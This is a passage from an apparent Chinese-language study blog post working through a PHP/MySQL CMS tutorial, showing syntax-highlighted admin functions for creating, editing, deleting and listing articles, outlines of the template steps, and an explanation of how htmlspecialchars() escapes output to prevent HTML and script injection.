  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'formAction'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;newArticle&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'saveChanges'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// User has posted the article edit form: save the new article
&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;$article&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;storeFormValues&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Location: admin.php?status=changesSaved&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;elseif&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'cancel'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// User has cancelled their edits: return to the article list
&lt;/span&gt;    &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Location: admin.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// User has not posted the article edit form yet: display the form
&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'article'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TEMPLATE_PATH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/admin/editArticle.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;editArticle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'pageTitle'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Edit Article&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'formAction'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;editArticle&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'saveChanges'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// User has posted the article edit form: save the article changes
&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$article&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'articleId'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Location: admin.php?error=articleNotFound&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nv&quot;&gt;$article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;storeFormValues&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Location: admin.php?status=changesSaved&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;elseif&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'cancel'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// User has cancelled their edits: return to the article list
&lt;/span&gt;    &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Location: admin.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// User has not posted the article edit form yet: display the form
&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'article'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'articleId'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TEMPLATE_PATH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/admin/editArticle.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;deleteArticle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$article&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'articleId'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Location: admin.php?error=articleNotFound&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;nv&quot;&gt;$article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Location: admin.php?status=articleDeleted&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;listArticles&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'articles'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'results'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'totalRows'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'totalRows'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'pageTitle'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;All Articles&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'error'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'error'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;articleNotFound&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'errorMessage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Error: Article not found.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'status'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'status'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;changesSaved&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'statusMessage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Your changes have been saved.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'status'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;articleDeleted&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'statusMessage'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Article deleted.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TEMPLATE_PATH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/admin/listArticles.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

以上 6 个步骤，就完成了 CMS 主要功能的 PHP 代码。下面的步骤就是创建前端显示的模板、样式，以及页面等文件。

这里的后端到前端的交互，主要是通过 &lt;code class=&quot;highlighter-rouge&quot;&gt;$results&lt;/code&gt; 这个数组变量来进行，把后端的业务功能数据，通过该变量在前端页面上显示出来。前端到后端的交互，主要是通过 &lt;code class=&quot;highlighter-rouge&quot;&gt;$_GET['xxx']&lt;/code&gt;  &lt;code class=&quot;highlighter-rouge&quot;&gt;$_POST['xxx']&lt;/code&gt; &lt;code class=&quot;highlighter-rouge&quot;&gt;$_SESSION['xxx']&lt;/code&gt; 等超全局变量，把前端 URL 地址栏变量，表单数据等传给后端来处理。

HTML 的代码不贴了，这里的前后端交互方式是有点落后吗？比如 header.php 和 footer.php 拼接在一起组成一个页面？ HTML 和 php 代码在一起有没有更好的组织方式？还有就是什么是 MVC，什么是 REST 风格，后续有时间的话再深入学习下。

&lt;h2 id=&quot;step-7-create-the-front-end-templates&quot;&gt;Step 7: Create the front-end templates&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;The include files&lt;/li&gt;
  &lt;li&gt;homepage.php&lt;/li&gt;
  &lt;li&gt;archive.php&lt;/li&gt;
  &lt;li&gt;viewArticle.php&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;step-8-create-the-back-end-templates&quot;&gt;Step 8: Create the back-end templates&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;loginForm.php&lt;/li&gt;
  &lt;li&gt;listArticles.php&lt;/li&gt;
  &lt;li&gt;editArticle.php&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
  As usual, we pass all data through &lt;code class=&quot;highlighter-rouge&quot;&gt;htmlspecialchars()&lt;/code&gt;before outputting it in the markup. Not only is this a good security habit, but it also ensures that our form field values are properly escaped. For example, if the &lt;code class=&quot;highlighter-rouge&quot;&gt;title&lt;/code&gt; field value contained a double quote (&lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;&lt;/code&gt;) that wasn’t escaped then the title would be truncated, since double quotes are used to delimit the field’s value in the markup.
&lt;/blockquote&gt;

&lt;code class=&quot;highlighter-rouge&quot;&gt;htmlspecialchars()&lt;/code&gt; 函数，会将特殊字符转换为 HTML 实体，某类字符在 HTML 中有特殊用处，如需保持原意，需要用 HTML 实体来表达。 该函数会返回字符转义后的表达。比如一些字符转义后的值如下表：

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;字  符&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;替换后&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;&lt;/code&gt; (&amp;amp; 符号)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;amp;&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;&lt;/code&gt; (双引号)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;quot;&lt;/code&gt;，除非设置了 &lt;strong&gt;ENT_NOQUOTES&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;'&lt;/code&gt; (单引号)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;设置了 &lt;strong&gt;ENT_QUOTES&lt;/strong&gt; 后， &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;#039;&lt;/code&gt; (如果是 &lt;strong&gt;ENT_HTML401&lt;/strong&gt;) ，或者 &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;apos;&lt;/code&gt; (如果是 &lt;strong&gt;ENT_XML1&lt;/strong&gt;、         &lt;strong&gt;ENT_XHTML&lt;/strong&gt; 或 &lt;strong&gt;ENT_HTML5&lt;/strong&gt;)。&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; (小于)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;lt;&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;gt;&lt;/code&gt; (大于)&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;gt;&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;code class=&quot;highlighter-rouge&quot;&gt;htmlspecialchars()&lt;/code&gt; 使得 HTML 之中的特殊字符被正确的编码，从而不会被使用者在页面注入 HTML 标签或者 Javascript 代码。

&lt;h2 id=&quot;step-9-create-the-stylesheet-and-logo-image&quot;&gt;Step 9: Create the stylesheet and logo image&lt;/h2&gt;

见 style.css

&lt;h2 id=&quot;all-done&quot;&gt;All done!&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;ol&gt;
    &lt;li&gt;
      In this tutorial you’ve built a basic content management system from the ground up, using PHP and MySQL. You’ve learnt about MySQL, tables, field types, PDO, object-oriented programming, templating, security, sessions, and lots more.
    &lt;/li&gt;
    &lt;li&gt;
      While this CMS is pretty basic, it has hopefully given you a starting point for building your own CMS-driven websites. Some features you might want to add include:
    &lt;/li&gt;
    &lt;li&gt;
      &lt;ul&gt;
